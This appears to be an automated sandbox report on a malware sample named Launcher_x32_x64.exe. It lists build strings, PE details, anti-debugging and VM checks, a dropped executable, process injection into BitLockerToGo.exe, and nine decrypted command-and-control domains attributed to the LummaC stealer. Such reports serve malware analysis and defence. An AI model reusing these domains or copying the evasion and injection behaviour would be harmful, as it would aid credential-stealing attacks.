Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net8.0-windows/Microsoft.VisualBasic.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ZipFile.ni.pdb(Qw source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.Intrinsics\Release\net8.0\System.Runtime.Intrinsics.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1834316222.000000000E800000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Globalization/Release/net8.0-windows/System.Globalization.pdbSHA256& source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Principal.Windows.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.IO.Compression.FileSystem/Release/net8.0-windows/System.IO.Compression.FileSystem.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net8.0\System.Collections.Concurrent.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.ComponentModel.DataAnnotations/Release/net8.0-windows/System.ComponentModel.DataAnnotations.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.Brotli.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net8.0-windows\System.Net.NameResolution.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: \Desktop\ProjectLoader\Project\obj\Release\net8.0\win-x86\Project.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.ni.pdb_ source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Runtime.InteropServices.RuntimeInformation/Release/net8.0-windows/System.Runtime.InteropServices.RuntimeInformation.pdbSHA256?) source: Launcher_x32_x64.exe, 00000000.00000002.1832560553.000000000D674000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.TextWriterTraceListener.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Tools/Release/net8.0-windows/System.Diagnostics.Tools.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.CoreLib.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1817950421.00000000098D1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1817301885.0000000008CD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.TypeConverter\Release\net8.0\System.ComponentModel.TypeConverter.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Annotations\Release\net8.0\System.ComponentModel.Annotations.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.CSharp\Release\net8.0-windows\Microsoft.CSharp.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.AccessControl\Release\net8.0-windows\System.IO.FileSystem.AccessControl.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization.Extensions/Release/net8.0-windows/System.Globalization.Extensions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Drawing/Release/net8.0-windows/System.Drawing.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Threading.ni.pdb_ source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832370982.000000000D2C1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Security.Claims.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net8.0-windows/System.Data.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.TraceSource\Release\net8.0\System.Diagnostics.TraceSource.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net8.0\System.Memory.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1832707797.000000000D6F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1832665993.000000000D6C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.StackTrace\Release\net8.0\System.Diagnostics.StackTrace.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.Immutable.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO/Release/net8.0-windows/System.IO.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem/Release/net8.0-windows/System.IO.FileSystem.pdbSHA256!"u source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.NameResolution.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834145533.000000000E5F1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834104783.000000000E5C0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: \Desktop\ProjectLoader\Project\obj\Release\net8.0\win-x86\Project.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.TypeConverter\Release\net8.0\System.ComponentModel.TypeConverter.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Claims\Release\net8.0\System.Security.Claims.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1834746292.000000000EB10000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834791513.000000000EB31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data.DataSetExtensions/Release/net8.0-windows/System.Data.DataSetExtensions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Primitives/Release/net8.0-windows/System.Security.Cryptography.Primitives.pdbSHA256& source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net8.0\System.Threading.Overlapped.pdbSHA256I source: Launcher_x32_x64.exe, 00000000.00000002.1834088849.000000000E5B0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net8.0\System.Linq.Expressions.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Specialized\Release\net8.0\System.Collections.Specialized.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Threading.Timer/Release/net8.0-windows/System.Threading.Timer.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1832317142.000000000D2A0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.X509Certificates/Release/net8.0-windows/System.Security.Cryptography.X509Certificates.pdbSHA256dXf source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.IsolatedStorage\Release\net8.0-windows\System.IO.IsolatedStorage.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.TypeConverter.ni.pdbV@ source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.TraceSource.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.FileSystem.DriveInfo\Release\net8.0-windows\System.IO.FileSystem.DriveInfo.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Principal.Windows.ni.pdbf source: Launcher_x32_x64.exe, 00000000.00000002.1834663564.000000000EAE1000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1834617042.000000000EAB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.Process.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Private.Uri.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1823830750.000000000D011000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1822713713.000000000CFD0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression\Release\net8.0-windows\System.IO.Compression.pdbSHA256ENA source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Globalization/Release/net8.0-windows/System.Globalization.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.FileSystem.Primitives/Release/net8.0-windows/System.IO.FileSystem.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.VisualBasic.Core\Release\net8.0-windows\Microsoft.VisualBasic.Core.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Diagnostics.StackTrace.ni.pdbAM source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Console\Release\net8.0-windows\System.Console.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Asn1\Release\net8.0\System.Formats.Asn1.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.Win32.Registry\Release\net8.0-windows\Microsoft.Win32.Registry.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net8.0\System.Diagnostics.DiagnosticSource.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Collections.NonGeneric.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.IsolatedStorage\Release\net8.0-windows\System.IO.IsolatedStorage.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net8.0\System.Diagnostics.Tracing.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.Compression.ni.pdb: source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Security.Cryptography.Primitives/Release/net8.0-windows/System.Security.Cryptography.Primitives.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.IO.Compression.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Security.Cryptography.ni.pdb source: Launcher_x32_x64.exe, 00000000.00000002.1821107705.000000000CC30000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1821619144.000000000CE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Runtime.Serialization/Release/net8.0-windows/System.Runtime.Serialization.pdbSHA256y source: Launcher_x32_x64.exe, 00000000.00000002.1819654142.000000000AD10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Data.Common\Release\net8.0\System.Data.Common.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net8.0\System.Diagnostics.Contracts.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.ComponentModel.TypeConverter.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Primitives.ni.pdbS source: Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.CSharp.ni.pdb^L[T source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Formats.Asn1\Release\net8.0\System.Formats.Asn1.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.IsolatedStorage.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Drawing/Release/net8.0-windows/System.Drawing.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Primitives\Release\net8.0-windows\System.Net.Primitives.pdbSHA256 source: Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Http\Release\net8.0-windows\System.Net.Http.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.AppContext/Release/net8.0-windows/System.AppContext.pdbSHA256M source: Launcher_x32_x64.exe
Source:	Binary string: BitLockerToGo.pdbGCTL source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003F4C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1882156226.0000000002F15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.ComponentModel.Primitives\Release\net8.0\System.ComponentModel.Primitives.pdb source: Launcher_x32_x64.exe
Source:	Binary string: System.Formats.Asn1.ni.pdbd source: Launcher_x32_x64.exe
Source:	Binary string: System.IO.FileSystem.Watcher.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.MemoryMappedFiles\Release\net8.0-windows\System.IO.MemoryMappedFiles.pdbSHA256? source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Http.ni.pdb,U source: Launcher_x32_x64.exe, 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1819406365.000000000AB50000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Diagnostics.Debug/Release/net8.0-windows/System.Diagnostics.Debug.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Data.Common.ni.pdb source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.IO.UnmanagedMemoryStream/Release/net8.0-windows/System.IO.UnmanagedMemoryStream.pdbSHA256#N source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.Buffers/Release/net8.0-windows/System.Buffers.pdbSHA256Bs source: Launcher_x32_x64.exe
Source:	Binary string: /_/artifacts/obj/System.ComponentModel.DataAnnotations/Release/net8.0-windows/System.ComponentModel.DataAnnotations.pdbSHA256 source: Launcher_x32_x64.exe
Source:	Binary string: System.Net.Primitives.ni.pdb source: Launcher_x32_x64.exe, Launcher_x32_x64.exe, 00000000.00000002.1820113775.000000000AEE0000.00000002.00000001.00040000.00000003.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1820163618.000000000AF31000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.FileVersionInfo\Release\net8.0-windows\System.Diagnostics.FileVersionInfo.pdb source: Launcher_x32_x64.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.Compression.ZipFile\Release\net8.0-windows\System.IO.Compression.ZipFile.pdbSHA256X source: Launcher_x32_x64.exe

Source: Launcher_x32_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Launcher_x32_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Launcher_x32_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Launcher_x32_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Launcher_x32_x64.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: Launcher_x32_x64.exe	Static PE information: section name: .CLR_UEF
Source: Launcher_x32_x64.exe	Static PE information: section name: .didat
Source: Launcher_x32_x64.exe	Static PE information: section name: _RDATA
Source: 4ud5if5k.0ze.exe.0.dr	Static PE information: section name: .symtab

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD64962 push ds; retf	0_2_0AD64964
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD656B0 push ds; retf	0_2_0AD656BC
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD614EE push 00000007h; ret	0_2_0AD61596
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AD61498 push 00000007h; ret	0_2_0AD61596
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF32BAD pushfd ; iretd	0_2_0AF32BB1
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF31EB9 push ds; iretd	0_2_0AF31EBB
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF322AF push esi; iretd	0_2_0AF322B5
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF3324D push es; iretd	0_2_0AF3324E
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF33091 push dword ptr [ecx]; iretd	0_2_0AF330BD
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF33031 push ebp; iretd	0_2_0AF33032
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF326BD push cs; iretd	0_2_0AF326BE
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0AF335C9 pushfd ; iretd	0_2_0AF335CA
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0CA94E41 push edi; iretd	0_2_0CA94E42
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0CA92BA8 push ds; iretd	0_2_0CA92D0E
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0CA94B9A push esi; iretd	0_2_0CA94BA1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 3_2_00439B1C push edx; retf 0040h	3_2_00439B1D

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

File created: C:\Windows\Temp\4ud5if5k.0ze.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

File created: C:\Windows\Temp\4ud5if5k.0ze.exe

Jump to dropped file

Source: C:\Windows\Temp\4ud5if5k.0ze.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Memory allocated: 5810000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Memory allocated: 5A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Memory allocated: 8A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Memory allocated: F230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Memory allocated: 11230000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_0109A6E0 rdtsc

0_2_0109A6E0

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Window / User API: threadDelayed 598

Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7852	Thread sleep count: 62 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7852	Thread sleep count: 148 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7852	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7852	Thread sleep count: 598 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7852	Thread sleep count: 154 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe TID: 7904	Thread sleep count: 258 > 30	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7180	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_010860F0 GetSystemInfo,GetNumaHighestNodeNumber,GetCurrentProcess,GetProcessAffinityMask,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,

0_2_010860F0

Source: BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.1925229586.0000000002F41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Launcher_x32_x64.exe, 00000000.00000003.1776700067.0000000003AE7000.00000004.00000020.00020000.00000000.sdmp, Launcher_x32_x64.exe, 00000000.00000002.1816330879.0000000003AE7000.00000004.00000020.00020000.00000000.sdmp, Launcher_x32_x64.exe, 00000000.00000003.1814416338.0000000003AE7000.00000004.00000020.00020000.00000000.sdmp, Launcher_x32_x64.exe, 00000000.00000003.1776987722.0000000003AE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllH
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1883780092.0000000001D0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	API call chain: ExitProcess graph end node			graph_0-81745
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_0109A6E0 rdtsc

0_2_0109A6E0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 3_2_00432B70 LdrInitializeThunk,

3_2_00432B70

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_010A92B0 IsDebuggerPresent,RaiseException,

0_2_010A92B0

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_010C9010 GetProcessHeap,HeapAlloc,

0_2_010C9010

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_01289570 VirtualProtect,GetTickCount,VirtualProtect,GetSystemInfo,SetConsoleCtrlHandler,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,DebugBreak,SleepEx,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,InitializeCriticalSection,RtlAddVectoredExceptionHandler,SetUnhandledExceptionFilter,InitializeCriticalSection,InitializeCriticalSection,VirtualAlloc,DebugBreak,InitializeCriticalSection,		0_2_01289570
Source: C:\Users\user\Desktop\Launcher_x32_x64.exe	Code function: 0_2_0131CA69 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_0131CA69

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\Temp\4ud5if5k.0ze.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to prevent local Windows debugging

Source: C:\Users\user\Desktop\Launcher_x32_x64.exe

Code function: 0_2_00E806F0 IsDebuggerPresent,RaiseFailFastException,IsDebuggerPresent,SetErrorMode,SetErrorMode,IsDebuggerPresent,SetErrorMode,SetErrorMode,IsDebuggerPresent,DebugBreak,SetErrorMode,SetErrorMode,

0_2_00E806F0

Injects a PE file into a foreign processes

Source: C:\Windows\Temp\4ud5if5k.0ze.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop
Source: 4ud5if5k.0ze.exe, 00000001.00000002.1894150698.0000000003E01000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tenseddrywsqio.shop

Writes to foreign memory regions

